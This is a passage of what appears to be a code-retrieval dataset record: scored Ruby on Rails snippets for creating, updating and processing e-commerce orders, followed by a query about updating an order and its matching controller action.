params[:id]).count > 0)\n @order.status = \"PLACED\"\n respond_to do |format|\n if @order.save\n format.html { redirect_to @order, notice: 'Order was successfully upgraded to PLACED.' }\n format.json { render json: @order, status: :accepted, location: @order }\n else\n format.html { render action: \"new\" }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n else\n respond_to do |format|\n format.html { redirect_to @order, notice: 'You must have a single line item in this order first.' }\n format.json { render json: @order.errors, status: :method_not_allowed }\n end\n end\n end\n end", "def create\n @order = Order.new\n @order.add_line_items_from_cart(@cart)\n\n respond_to do |format|\n if @order.save\n session[:cart_id] = nil\n OrderNotifier.received(@order).deliver\n redirect_to preorder_confirmation_path\n=begin\n format.html { redirect_to root_path, notice: 'Thank you for your order.' }\n format.json { render action: 'show', status: :created, location: @order }\n=end\n else\n format.html { render action: 'new' }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end", "def phone_order(params)\n path = @version + '/Phone/Order/'\n method = 'POST'\n return request(path, method, params)\n end", "def new_recurring_product_subscription_start_on\n # if currrent_end_date = self.last_active_recurring_product_subscription_term_period_end_on\n if current_order = last_active_recurring_order\n current_order.service_period_end_on + 1.day\n else\n Date.today\n end\n end", "def create\n @order = Order.new(params[:order])\n listing = Listing.find(params[:listing_id])\n event = Event.find(params[:event_id])\n addr = Address.find_or_create_by_street_address( params[:address][:street_address])\n\n addr.update_attributes(params[:address])\n\n order_attributes = {\n shipment_method: params[:shipment_method],\n payment_date: Time.now(),\n payment_method: 0, #TODO\n shipment_date: Time.now(),\n status: 0, #TODO\n shipment_fee: 0,\n service_fee: 0,\n total_amount: params[:tickets_amount].to_i * listing.list_price,\n tickets_amount: params[:tickets_amount].to_i\n }\n\n @order.update_attributes(order_attributes)\n\n @order.seller = listing.seller\n @order.buyer = current_user\n @order.shipment_address = addr\n\n # get tickets\n tickets = listing.get_some_available_tickets params[:tickets_amount].to_i\n\n listing.tickets.each do |t|\n @order.items.build({\n selling_price: 0,\n ticket_id: t.id\n })\n end\n\n respond_to do |format|\n if @order.save\n #format.html { redirect_to @order, notice: 'Order was successfully created.' }\n format.html { redirect_to success_order_url(@order) }\n format.json { render json: @order, status: :created, location: @order }\n else\n format.html { render action: \"new\" }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end", "def create_order(order, save = true)\n wait_until_bus_section_load\n # fill shipping address section\n\n if order.name.nil?\n name_tb.type_text('')\n elsif order.name != 'keep the same'\n name_tb.type_text(order.name)\n end\n\n if order.address_1.nil?\n address1_tb.type_text('')\n elsif order.address_1 != 'keep the same'\n address1_tb.type_text(order.address_1)\n end\n\n address2_tb.type_text(order.address_2)\n\n if order.city.nil?\n city_tb.type_text('')\n elsif order.city != 'keep the same'\n city_tb.type_text(order.city)\n end\n\n if order.state.nil?\n state_tb.type_text('')\n elsif order.state != 'keep the same'\n state_tb.type_text(order.state)\n end\n\n country_select.select(order.country) unless order.country.nil?\n\n if order.zip.nil?\n zip_tb.type_text('')\n elsif order.zip != 'keep the same'\n zip_tb.type_text(order.zip)\n end\n\n if order.phone.nil?\n phone_tb.type_text('')\n elsif order.phone != 'keep the same'\n phone_tb.type_text(order.phone)\n end\n\n power_adapter_select.select(order.adapter_type) unless order.adapter_type.nil?\n\n next_btns[0].click # click next and goto\n #go_to_create_order_section\n wait_until_bus_section_load\n\n unless order.adapter_type.nil?\n # fill create order section\n if order.key_from == \"available\"\n # Add key from available keys\n add_available_key.click\n elsif !order.key_from.match(/[0-9A-Z]{20}/).nil?\n # add key for fixed data (product key)\n filter_key_input.type_text(order.key_from)\n filter_button.click\n wait_until_bus_section_load\n add_first_key.click\n elsif !(order.key_from.match(/^\\d* available$/).nil?)\n # Add certain number keys on current page\n number = order.key_from.match(/\\d+/)[0].to_i\n number.times {\n add_first_key.click\n wait_until_bus_section_load\n }\n elsif order.key_from == \"new\"\n add_new_key.click\n elsif !order.key_from.match(/[0-9A-Z]{20}/).nil? # filter key\n filter_key_input.type_text(order.key_from)\n filter_button.click\n wait_until_bus_section_load\n add_first_key.click\n else\n raise \"Please order key from either available keys or add a new key\"\n end\n wait_until_bus_section_load\n\n os_tb.select(order.os) unless order.os.nil?\n # update quota for more than one key records\n if !order.quota.nil?\n quota_arr = order.quota.split(\"\\;\")\n quota_arr.each_with_index do |value, index|\n order_quota_tb(index).type_text(value)\n end\n end\n order.license_key = get_added_keys\n order_assign_to_tb.type_text(order.assign_to) unless order.assign_to.nil?\n drive_type_select.select(order.drive_type) unless order.drive_type.nil?\n\n wait_until_bus_section_load\n next_btns[1].click\n\n wait_until_bus_section_load\n\n #seperate from error/success message\n order.notification_msg = order_notification_p.text unless locate(:xpath, \"//div[@class='show-details']/p\").nil?\n\n # fill summary section\n if messages.empty?\n discount_tb.type_text(order.discount) unless order.discount.nil?\n # focus out of discount text box, make sure discount amount changes\n page.trigger_html_event(discount_tb.id, \"change\")\n num_win_drivers_tb.type_text(order.num_win_drivers) unless order.num_win_drivers.nil?\n num_mac_drivers_tb.type_text(order.num_mac_drivers) unless order.num_mac_drivers.nil?\n is_ship_driver_cb.check unless order.ship_driver.nil?\n if save\n submit_order_btn.click\n end\n end\n wait_until_bus_section_load\n end\n end", "def create\n @order = Order.new(params[:order])\n end", "def create\n items = params[:items]\n filtered_items = []\n items.each do |item|\n item[:quantity].times do |order|\n filtered_items << {\"apiKey\" => item[:item_api], \"customizationChoices\" => [], \"comments\" => item[:instruction]}\n end\n end\n token = ENV[\"REACT_APP_EAT_STREET_TOKEN\"]\n uri = URI.parse(\"https://api.eatstreet.com/publicapi/v1/send-order\")\n request = Net::HTTP::Post.new(uri)\n request.content_type = \"application/json\"\n request[\"X-Access-Token\"] = token\n request.body = JSON.dump({\n \"restaurantApiKey\" => processing_params[:restaurant_api_key],\n \"items\" => filtered_items,\n \"method\" => \"delivery\",\n \"payment\" => \"cash\",\n \"test\" => false,\n \"comments\" => processing_params[:comments],\n \"card\" => {\n \"apiKey\" => nil\n },\n \"address\" => {\n \"apiKey\" => nil,\n \"streetAddress\" => processing_params[:address],\n \"latitude\" => processing_params[:latitude],\n \"longitude\" => processing_params[:longitude]\n },\n \"recipient\" => {\n \"apiKey\" => nil,\n \"firstName\" => processing_params[:username],\n \"lastName\" => processing_params[:username],\n \"phone\" => processing_params[:phone],\n 'email' => processing_params[:email]\n }\n })\n\n req_options = {\n use_ssl: uri.scheme == \"https\",\n }\n\n response = Net::HTTP.start(uri.hostname, uri.port, req_options) do |http|\n http.request(request)\n end\n\n message = ''\n if response.code == 200\n message = {error: false, details: 'You Order Has Been Processed'}\n items.each do |item|\n order = Order.find(item[:id])\n order.ordered = true\n end\n\n else\n message = response.body\n end\n\n render json: message\n end", "def order_complete\n load_order\n if @order.state == 'canceled'\n flash[\"notice\"] = 'This order has been canceled - do not process it!'\n elsif @order.packed_at.blank? && (@current_retailer && @current_retailer.id == @order.retailer_id)\n @order.update_attribute(:packed_at, Time.now)\n end\n redirect_to admin_order_url(@order)\n end", "def submit\n # validate_line_items\n Wheretocard::Response.from_order_request(self)\n end", "def order\n @order ||= Elong::API::GHotel::Order.new(@client)\n end", "def order_params\n\t\tparams.require(:order).permit(:start_date,:end_date,:location_id, :performer_id, :duration_id, :quality_id, :delivery_time_id, :clip_category_id, :email, :total,:refunded,:affiliate_id,:description, :perf_cut, :c4u_cut, :affiliate_cut, :white_label_cut,:payment_status,:pre_order_status)\n\tend", "def create\n @sales_order = SalesOrder.new(sales_order_params)\n @sales_order.date = Time.now\n sodetails = @sales_order.sales_order_details\n sodetails.each do |sod|\n sod.pending_rg = sod.quantity\n sod.pending_cg = sod.quantity\n sod.pending_inv = sod.quantity\n end\n \n respond_to do |format|\n if @sales_order.save\n format.html {\n flash[:notice] = 'La Orden de Venta se creó satisfactoriamente.'\n redirect_to sales_orders_path\n }\n format.json { render :show, status: :created, location: @sales_order }\n else\n format.html { \n flash[:error] = @sales_order.errors\n redirect_to new_sales_order_path\n }\n format.json { render json: @sales_order.errors, status: :unprocessable_entity }\n end\n end\n end", "def order_params\n params.require(:order).permit(:customer, :day_of_week, :date, :qty_oz, :crop, :variety, :crop_id, :cancelled_on, :standing_order, :customer_id, :maturity_days, :harvest_preferences, :start_date, :calculated_first_delivery_date)\n end", "def start_order_params\n params.fetch(:start_order, {})\n end", "def set_order\n @order = Order::Preorder.find(params[:id])\n end", "def create\n \n @order = Order.new(order_params)\n @order.client_id=Client.where(email: params[:client_email]).last.id\n @order.zone=current_user.zone\n @order.distributor=current_user.creator\n @order.commerce=current_user.email\n @order.wholesaler=User.where(:email => current_user.creator).first.creator\n @[email protected]/Setting.last.exchange_rate\n respond_to do |format|\n if @order.save\n format.html { redirect_to @order, notice: 'La transacción se ha efectuado satisfatoriamente' }\n format.json { render :show, status: :created, location: @order }\n else\n format.html { render :new, :cliente => params[:client_email] }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n # raise params.inspect\n @order = Order.new(order_params)\n @order.ip_address = request.remote_ip\n # @order.last_name = params[]\n respond_to do |format|\n if @order.save_with_payment(current_user.id)\n ShippingAddress.create({:order_id => @order.id, :user_id => current_user.id, :first_name => params[:recipient][:first_name], :last_name => params[:recipient][:last_name], :phone_number => params[:recipient][:phone_number], :address => params[:recipient][:address], :pin => params[:recipient][:pin], :city => params[:recipient][:city], :state => params[:recipient][:state]})\n\n base_carts = BaseCart.where(:order_id => @order.id)\n product_stock_update(base_carts)\n\n ProductMailer.order_detail(current_user.email, @order).deliver # send order conf mail\n\n format.html { redirect_to @order, notice: 'Order was successfully processed.' }\n format.json { head :no_content }\n else\n format.html { render action: 'new' }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n\n\n # PAYPAL INTEGRATION\n # if @order.save\n # if @order.purchase\n # render :action => \"success\"\n # else\n # render :action => \"failure\"\n # end\n # else\n # render :action => 'new'\n # end\n end", "def order(restaurant_id, tray, tip, delivery_date_time, first_name, last_name, address, credit_card, email=nil, login=nil)\n data = build_dict(restaurant_id, tray, tip, delivery_date_time, first_name, last_name, address, credit_card, email, login)\n return call_api(:post, ['o', restaurant_id], login, data)\n end", "def process_order\n @order.process!\n redirect_to root_path\n end", "def create\n @order = Order.new(params[:order])\n @order.editing = false\n @product = @order.product_type.downcase.pluralize\n respond_to do |format|\n if @order.save\n total_due = 0\n @order.parts.each do |part|\n total_due = part.cost + total_due\n end\n @order.client_needs.each do |client_need|\n total_due = client_need.cost + total_due\n end\n @order.update_attribute(:total_due, total_due)\n format.html { redirect_to @order, notice: 'Order was successfully created.' }\n format.json { render json: @order, status: :created, location: @order }\n else\n format.html { render action: \"new\" }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @order = Order.create(order_params.merge(user_id: current_user.id))\n process_order_items\n\n if @order.save\n OrderNotifier.kitchen(@order).deliver_now\n OrderNotifier.customer(@order).deliver_now\n else\n invalid_request\n end\n end", "def create\n @order = Order.create(order_params.merge(user_id: current_user.id))\n process_order_items\n\n if @order.save\n OrderNotifier.kitchen(@order).deliver_now\n OrderNotifier.customer(@order).deliver_now\n else\n invalid_request\n end\n end", "def checkout\n #@carts.each do |c|\n @order = Order.new\n @order.item_ordered = params[:itemid]\n @order.user_id = params[:user_id] \n @order.orderdate = Datetime.now\n @order.save\n #end\n end", "def add_to_current_order\n\n # get the first open order that the user has\n if current_user.orders.where(status:'Open').first\n current_order = current_user.orders.where(status:'Open').first\n OrderProduct.create({product_id: params[:product],order_id: current_order.id, quantity: params[:order][:orderproduct][:quantity], price: params[:order][:orderproduct][:price],additional_info: params[:order][:orderproduct][:additional_info] })\n\n # If not open and create a new order for the current user\n else\n current_order = current_user.orders.create(order_params)\n current_order.update(status: 'Open')\n OrderProduct.create({product_id: params[:product],order_id: current_order.id, quantity: params[:order][:orderproduct][:quantity], price: params[:order][:orderproduct][:price],additional_info: params[:order][:orderproduct][:additional_info]})\n end\n redirect_to order_path(current_order)\n end", "def add_recurring_data(request, options)\r\n request.Set(RocketGate::GatewayRequest::REBILL_FREQUENCY, options[:rebill_frequency])\r\n request.Set(RocketGate::GatewayRequest::REBILL_AMOUNT, options[:rebill_amount])\r\n request.Set(RocketGate::GatewayRequest::REBILL_START, options[:rebill_start])\r\n end", "def add_order(post, options={})\n validate! options, :our_ref\n post[:OrderId] = options[:our_ref]\n end", "def set_order\n @order = @restaurant.orders.find(params[:id])\n end", "def after_save_new_order\n end", "def create\n @user = User.find(session[:user_id])\n @order = Order.new(params[:order])\n @order[:User_order] = @user[:id]\n @order.add_line_items_from_cart(current_cart)\n if @order.save\n UserMailer.order_confirmation(@order).deliver\n UserMailer.order_admin(@order).deliver\n render \"_good\"\n end\n end", "def order_arrive_from(order)\n m = Setting::get('Order arrive since')\n if m == ''\n m = 35\n else\n m = m.to_i\n end\n order.updated_at + m.minutes\n end", "def run\n handle_service do\n @order.save!\n # create an activity register\n ::Activity.new_activity(@user, :created, @order, nil)\n ::JobActivation.perform_later(@order, @user)\n end\n\n @order\n end", "def driver_recurring_orders\n @orders = Timeslot.joins(:orders).where(orders: { category: :recurring}, timeslots: {region_id: current_user.driver.region_id})\n render json: @orders, status: 200\n end", "def create\n @purchase_order = PurchaseOrder.new(purchase_order_params)\n @purchase_order.reference = Time.now.strftime(\"%m%y\") + '-' +(PurchaseOrder.where(\"EXTRACT(MONTH FROM created_at) = #{Time.now.strftime(\"%m\")} AND parent_id IS NULL\").count + 1).to_s\n respond_to do |format|\n if @purchase_order.save\n format.html { redirect_to @purchase_order, notice: t('purchase_orders.success_create') }\n format.json { render :show, status: :created, location: @purchase_order }\n else\n format.html { render :new }\n format.json { render json: @purchase_order.errors, status: :unprocessable_entity }\n end\n end\n end", "def prepare_store\n order = SwaggerClient::Order.new(\"id\" => 10002,\n\t\t \"petId\" => 10002,\n\t\t \"quantity\" => 789,\n\t\t \"shipDate\" => \"2015-04-06T23:42:01.678Z\",\n\t\t \"status\" => \"placed\",\n\t\t \"complete\" => false)\n SwaggerClient::StoreApi.place_order(:body => order)\nend", "def create\n\t\t@order = Order.new(order_params)\n\t\[email protected]_id = current_user.id\n\t\[email protected]_date = Time.now\n\t\[email protected] = 1\n\n\t\trespond_to do |format|\n\t\t\tif @order.save\n\t\t\t\tformat.html { redirect_to @order, notice: 'Order was successfully created.' }\n\t\t\t\tformat.json { render :show, status: :created, location: @order }\n\t\t\telse\n\t\t\t\tformat.html { render :new }\n\t\t\t\tformat.json { render json: @order.errors, status: :unprocessable_entity }\n\t\t\tend\n\t\tend\n\tend", "def submit_order\n @order = current_order(session)\n\n # Set customer, if any\n if customer_signed_in?\n @order.customer = current_store_customer\n else\n if params[:create_new_account]\n @order.customer = create_customer(@order, params[:new_account_password], store)\n end\n end\n\n @order.update_attributes params[:order] # SHouldn't need this as well as save below\n @order.billing_status_id = Breeze::Commerce::OrderStatus.where(:type => :billing, :name => \"Payment in process\").first.id\n\n\n if @order.save \n # Process payment with PxPay\n @payment = create_payment(@order, store)\n if @payment.save and redirectable?\n redirect_to @payment.redirect_url and return\n else\n Rails.logger.debug @payment.errors.to_s\n @payment.errors.each { |attrib, err| Rails.logger.debug attrib.to_s + ': ' + err.to_s }\n flash[:error] = \"Sorry, we can't reach the payment gateway right now.\" # This error message might not be accurate!\n redirect_to breeze.checkout_path and return\n end\n else\n @customer = current_store_customer || Breeze::Commerce::Customer.new\n render :action => \"checkout\"\n end\n end", "def create\n @order = Order.new(order_params)\n @order.add_line_items_from_cart(@cart)\n respond_to do |format| if @order.save\n Cart.destroy(session[:cart_id])\n session[:cart_id] = nil\n #send email\n OrderNotifier.notify_admin(@order).deliver\n OrderNotifier.received(@order).deliver\n format.html { redirect_to '/order_submitted', notice: %Q[Your order was successfully created. Thank You for choosing Americo! We will send you an email when your order is ready to ship.<p>Don't forget to join our Mailing List for special offers and periodic newsletters. <a target=\"new\" href=\"http://visitor.r20.constantcontact.com/d.jsp?llr=j4rb9sqab&amp;p=oi&amp;m=1117322790889&amp;sit=8wpamrxib&amp;f=7e954c51-d956-4ceb-b3be-2a8cf6773713\" class=\"button btn btn-success\" style=\"color: rgb(255, 255, 255); text-shadow: none; border-top-left-radius: 10px; border-top-right-radius: 10px; border-bottom-right-radius: 10px; border-bottom-left-radius: 10px; display:inline-block; vertical-align: middle;\">Join our Mailing List here.</a>].html_safe }\n format.json { render action: 'show', status: :created, location: @order }\n else\n format.html { render action: 'new' }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n subtotal = Product.find_by(id: params[:product_id]).price\n tax = subtotal * 0.09\n total = subtotal + tax\n\n order = Order.new( \n user_id: current_user.id,\n product_id: params[:product_id],\n quantity: params[:quantity],\n subtotal: subtotal,\n tax: tax,\n total: total \n )\n if order.save\n render json: {message: 'Order created successfully'}, status: :created\n else\n render json: {errors: order.errors.full_messages}, status: :bad_request\n end\n end", "def create_order\n @order = Order.find(params[:order_id])\n @tire_listing = TireListing.find(params[:tire_listing_id])\n\n # can we find it? If not we need to recreate it.\n if [email protected]_buyer_customer_token.blank?\n begin\n @customer = Stripe::Customer.retrieve(@order.stripe_buyer_customer_token)\n rescue Exception => e\n # could not retrieve the customer record, so let's just re-create the customer\n @customer = nil \n @order.stripe_buyer_customer_token = \"\"\n end\n end\n\n if @order.stripe_buyer_customer_token.blank?\n begin\n @customer = Stripe::Customer.create(:card => params[:stripeToken], :description => params[:email])\n rescue Exception => e\n @order.destroy\n redirect_to @order.tire_listing, notice: \"There was an error with your data - message: #{e.to_s}\"\n return\n end\n @order.stripe_buyer_customer_token = @customer.id\n @order.uuid = SecureRandom.uuid\n elsif @customer.nil?\n @customer = Stripe::Customer.retrieve(@order.stripe_buyer_customer_token)\n end\n\n stripe_buyer_customer_cc_token = @customer.default_source #@customer.active_card.id\n @order.buyer_name = @customer.sources.first.name #@customer.active_card.name\n @order.buyer_email = params[:email]\n @order.buyer_phone = params[:phone]\n @order.notify_buyer_with_text = params[:notify_buyer_via_text]\n @order.buyer_address1 = @customer.sources.first.address_line1 #@customer.active_card.address_line1\n @order.buyer_city = @customer.sources.first.address_city #@customer.active_card.address_city\n @order.buyer_state = @customer.sources.first.address_state #@customer.active_card.address_state\n @order.buyer_zip = @customer.sources.first.address_zip #@customer.active_card.address_zip\n\n @order.status = order_status_array[:ready_for_billing]\n @order.save\n\n @order.delay.bill_order\n\n flash[:alert] = 'Your credit card will be billed shortly. It is important for you to schedule an appointment time now to complete the order. You will receive a confirmation email in 10 minutes -OR- after scheduling your appointment.'\n redirect_to :action => :new, :controller => :appointments, :tire_store_id => @order.tire_listing.tire_store_id, :tire_listing_id => @order.tire_listing_id, :order_id => @order.id, :order_uuid => @order.uuid\n end", "def create\n @order = Order.new(order_params)\n @order.status_id = 1\n @order.user_id = current_user.id\n params['suborders'].each do |a, b|\n startdt = (b['startdt']).to_time(:utc)\n stopdt = (b['stopdt']).to_time(:utc)\n #startdt = (b['startdt(1i)'] + '-' +b['startdt(2i)'] + '-' +b['startdt(3i)']+' ' +b['startdt(4i)']+':' +b['startdt(5i)']).to_time(:utc)\n #stopdt = (b['stopdt(1i)']+ '-' +b['stopdt(2i)'] + '-' +b['stopdt(3i)']+' ' +b['stopdt(4i)']+':' +b['stopdt(5i)']).to_time(:utc)\n wtStart = (b['startt']).to_time(:utc)\n wtStop = (b['stopt']).to_time(:utc)\n #startt = ('0-1-1 ' + b['startt(4i)'] + ':' + b['startt(5i)']).to_time(:utc)\n #stopt = ('0-1-1 ' + b['stopt(4i)']+':' +b['stopt(5i)']).to_time(:utc)\n\n @order.suborders.new(\n order_id: @order.id,\n device_id: b[:device_id],\n period_id: b[:period_id],\n startdt: startdt,\n stopdt: stopdt,\n startt: wtStart,\n stopt: wtStop\n );\n b [:files].each do |c|\n @order.suborders.last.plists.new(mediafile_id: c.to_i) unless c == ''\n end\n end\n\n respond_to do |format|\n if @order.save\n format.html { redirect_to @order, notice: t('orders.creat')}\n format.json { render :show, status: :created, location: @order }\n else\n format.html { render :new }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @order = current_user.orders.create! order_params\n params[:line_item].each do |li|\n menu_product = MenuProduct.find custom_line_item_params(li)['menu_product_id']\n # Slowly change it to menu_product.price...as that is the price that gets recorded\n new_params = custom_line_item_params(li).merge({price: menu_product.product.price})\n @order.line_items.create!(new_params)\n end\n\n\n # Refactor delivery_fee logic to a method\n if order_params[:category]=='lunch'\n @menu = Menu.current_lunch\n\n if @menu.menu_date == Date.today\n if Time.now < Menu.today.lunch_start_time\n delivery_fee = 5\n else\n delivery_fee = 15\n end\n else\n # It is after 3:30 and he is seeing next day menu..so only 5 rs delivery\n delivery_fee = 5\n end\n else\n delivery_fee = 10\n end\n @order.update_attributes(delivery_fee: delivery_fee)\n\n @order.start_process!\n render json: @order\n rescue Exception=>e\n HealthyLunchUtils.log_error e.message,e\n @order.destroy if @order\n render status: :error\n end", "def amazon_postfill\n unless params[:callerReference].blank?\n @order = Order.postfill!(params)\n end\n # \"A\" means the user cancelled the preorder before clicking \"Confirm\" on Amazon Payments.\n if params['status'] != 'A' && @order.present?\n redirect_to :action => :share, :uuid => @order.uuid\n else\n redirect_to root_url\n end\n end", "def mapp_integration_for_order_placed(order, user_id)\n response = HTTParty.post(\"#{Rails.application.secrets.mapp_integration[:api_endpoint]}\"+\"/message/sendTransactionalWithEventDetails\", headers: headers, query: order_placed_api_query(order, user_id), body: order_placed_api_body(order, user_id))\n end", "def create_order\n authorize! :signup, @event\n user = current_user || User.create_external_user!\n auto_login(user) unless logged_in?\n @order = Order.unconfirmed.find_or_initialize_by(product_id: @event.id, product_type: 'Event', user: current_user)\n @order.adpartner_id = params[:adpartner] if params[:adpartner].present?\n @order.save!\n @order.update!(paymentmethod: Paymentmethod.find_by(key: 'free')) if @event.free?\n redirect_to(edit_signup_order_path(@order))\n end", "def place_and_complete_kfs_item_order(ordered_by, facility, account = nil, reviewed = false)\n @facility_account = FactoryBot.create(:kfs_facility_account, facility: facility)\n @item = facility.items.create(FactoryBot.attributes_for(:item, facility_account_id: @facility_account.id))\n place_product_order(ordered_by, facility, @item, account)\n\n # act like the parent order is valid\n @order.state = \"validated\"\n\n # purchase it\n @order.purchase!\n\n @order_detail.change_status!(OrderStatus.complete)\n\n od_attrs = {\n actual_cost: 20,\n actual_subsidy: 10,\n price_policy_id: @item_pp.id,\n }\n\n od_attrs[:reviewed_at] = Time.zone.now - 1.day if reviewed\n @order_detail.update_attributes(od_attrs)\n @order_detail\nend", "def order_params\n params.require(:order).permit(:deliveryDate, :deliveryShift, :originName, :origin_address_id, :clientName, :destination_address_id, :phoneNumber, :mode, :purchaseOrderNumber, :volume, :handlingUnitQuantity, :handlingUnitType)\n end", "def create\n @order = Order.new(order_params)\n\n\n @order.order_type = Order::TYPE[:b2c]\n @order.status = Order::STATUS[:waiting]\n @order.unit = current_user.unit\n @order.storage = current_storage\n\n respond_to do |format|\n if @order.save\n format.html { redirect_to @order, notice: 'Order was successfully created.' }\n format.json { render action: 'show', status: :created, location: @order }\n else\n format.html { render action: 'new' }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end", "def order_params\n # params[:delivery_time] = Time.now unless params[:delivery_time]\n params.require(:order).permit(\n :meteors,\n :amount,\n :payment_method,\n :status,\n :delivery_time,\n :address_id,\n :user_id,\n order_products_attributes: %i[quantity product_instance_id]\n )\n end" ]
[ "0.60226583", "0.60044086", "0.5978317", "0.5932185", "0.59172076", "0.58884907", "0.5885946", "0.5857208", "0.5855647", "0.58469707", "0.5816737", "0.57520276", "0.5719332", "0.5710581", "0.57015103", "0.5701419", "0.56888866", "0.56853765", "0.5673064", "0.56502813", "0.564854", "0.5625553", "0.5621545", "0.5621353", "0.5620566", "0.5615196", "0.5601533", "0.5592171", "0.5571766", "0.55565774", "0.5545692", "0.5543828", "0.5525405", "0.5507567", "0.5505825", "0.5505699", "0.5505642", "0.5501729", "0.5498261", "0.5490953", "0.548976", "0.5487615", "0.5487303", "0.54819685", "0.54609984", "0.5435993", "0.5420327", "0.54198444", "0.54108286", "0.5408763", "0.54066813", "0.5402379", "0.53969413", "0.5393932", "0.53869754", "0.5384268", "0.53837603", "0.5383399", "0.5382714", "0.5373597", "0.5372964", "0.5371191", "0.5367816", "0.5366522", "0.5365995", "0.5365405", "0.5351405", "0.53510547", "0.53495586", "0.53491706", "0.5348587", "0.5345428", "0.53444433", "0.53444433", "0.53443635", "0.533786", "0.5333928", "0.5331489", "0.5329314", "0.53286314", "0.5327933", "0.53264266", "0.5322807", "0.53183776", "0.53138804", "0.531303", "0.5308409", "0.53059024", "0.53023523", "0.52955675", "0.52954066", "0.5295281", "0.52947974", "0.52906364", "0.5288513", "0.5287523", "0.52855474", "0.5284997", "0.52791226", "0.52739435" ]
0.71176016
0
Update order || Category can not be changed || Placed date || Time slot can not be changed |All ids are replaced| PATCH/PUT /orders/1 Assuming Resturant sent belongs to the user region only
def update if @order.single? if( (Time.now + 1.hour <= Time.parse(@order.place_date + ' ' + @order.timeslot.start)) && ([email protected]? ) && @order.update(update_order_params) ) render json: @order, status: 200 else render json: {'errorrs': ['Order can not be updated']}, status: :unprocessable_entity end else if(@order.update(update_order_params)) render json: @order, status: 200 else render json: {'errorrs': ['Order can not be updated']}, status: :unprocessable_entity end end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def update\n if params[:order][:taxis][:taxi_id].blank?\n orders_taxi.destroy if orders_taxi = OrdersTaxi.where([\"order_id = ?\", @order.id]).first\n else\n unless OrdersTaxi.where([\"order_id = ? AND taxi_id = ?\", @order.id, params[:order][:taxis][:taxi_id]]).first\n unless @order.taxis.blank?\n orders_taxi = OrdersTaxi.where([\"order_id = ?\", @order.id]).first\n orders_taxi.destroy\n end\n OrdersTaxi.create(order_id: @order.id, taxi_id: params[:order][:taxis][:taxi_id])\n end\n end\n\n respond_to do |format|\n params[:order][:assigned_at] = Time.now + params[:order][:assigned_at].to_i * 60 unless params[:order][:assigned_at].blank?\n if @order.update(order_params)\n # send_notification(@order) unless @order.assigned_at.blank? || @order.taxis.first.nil?\n format.html { redirect_to orders_path, notice: t(\"activerecord.models.order\") + t(\"messages.updated\") }\n format.json { render :show, status: :ok, location: @order }\n else\n format.html { render :edit }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end", "def update_order(order_id:,\n body:)\n new_api_call_builder\n .request(new_request_builder(HttpMethodEnum::PUT,\n '/v2/orders/{order_id}',\n 'default')\n .template_param(new_parameter(order_id, key: 'order_id')\n .should_encode(true))\n .header_param(new_parameter('application/json', key: 'Content-Type'))\n .body_param(new_parameter(body))\n .header_param(new_parameter('application/json', key: 'accept'))\n .body_serializer(proc do |param| param.to_json unless param.nil? end)\n .auth(Single.new('global')))\n .response(new_response_handler\n .deserializer(APIHelper.method(:json_deserialize))\n .is_api_response(true)\n .convertor(ApiResponse.method(:create)))\n .execute\n end", "def update\n respond_to do |format|\n if @order.update(order_params)\n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n format.json { render :show, status: :ok, location: @order }\n else\n set_groups\n format.html { render :edit }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @order.update(order_params)\n persist_order_address\n format.html { redirect_to [:admin, @order], notice: 'Order was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @order = Order.find(params[:id].to_s)\n render :status => 401 and return if not_my_vendor?(@order)\n if @order.paid == 1 and not $User.is_technician? then\n GlobalErrors.append(\"system.errors.cannot_edit_completed_order\",@order)\n end\n respond_to do |format|\n if (not @order.paid == 1 or $User.is_technician?) and @order.update_attributes(params[:order])\n format.html { redirect_to(@order, :notice => 'Order was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @order.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @order.update(order_update_params)\n format.html { redirect_to @order, notice: 'Замовлення обновлено.' }\n format.json { render :show, status: :ok, location: @order }\n else\n format.html { render :edit }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n authorize @order\n respond_to do |format|\n if @order.update(order_params)\n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n format.json { render :show, status: :ok, location: @order }\n else\n format.html { render :edit }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @order.update(order_params)\n format.html { redirect_to @order, notice: 'Заявка была успешно обновлена.' }\n format.json { render :show, status: :ok, location: @order }\n else\n format.html { render :edit }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n\t\trespond_to do |format|\n\t\t\tif @order.update(order_params.except(:order_date))\n\t\t\t\tformat.html { redirect_to @order, notice: 'Order was successfully updated.' }\n\t\t\t\tformat.json { render :show, status: :ok, location: @order }\n\t\t\telse\n\t\t\t\tformat.html { render :edit }\n\t\t\t\tformat.json { render json: @order.errors, status: :unprocessable_entity }\n\t\t\tend\n\t\tend\n\tend", "def update\n @order = Order.find(params[:id])\n\n if @order.update(order_params)\n head :no_content\n else\n render json: @order.errors, status: :unprocessable_entity\n end\n end", "def update\n @order = Order.find(params[:id])\n\n if @order.update(order_params)\n head :no_content\n else\n render json: @order.errors, status: :unprocessable_entity\n end\n end", "def update\n\n @orders = Order.all\n @order = Order.find(params[:id])\n\n @order.update_attributes(order_params)\n\n=begin\n respond_to do |format|\n if @order.update(order_params)\n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n format.json { render :show, status: 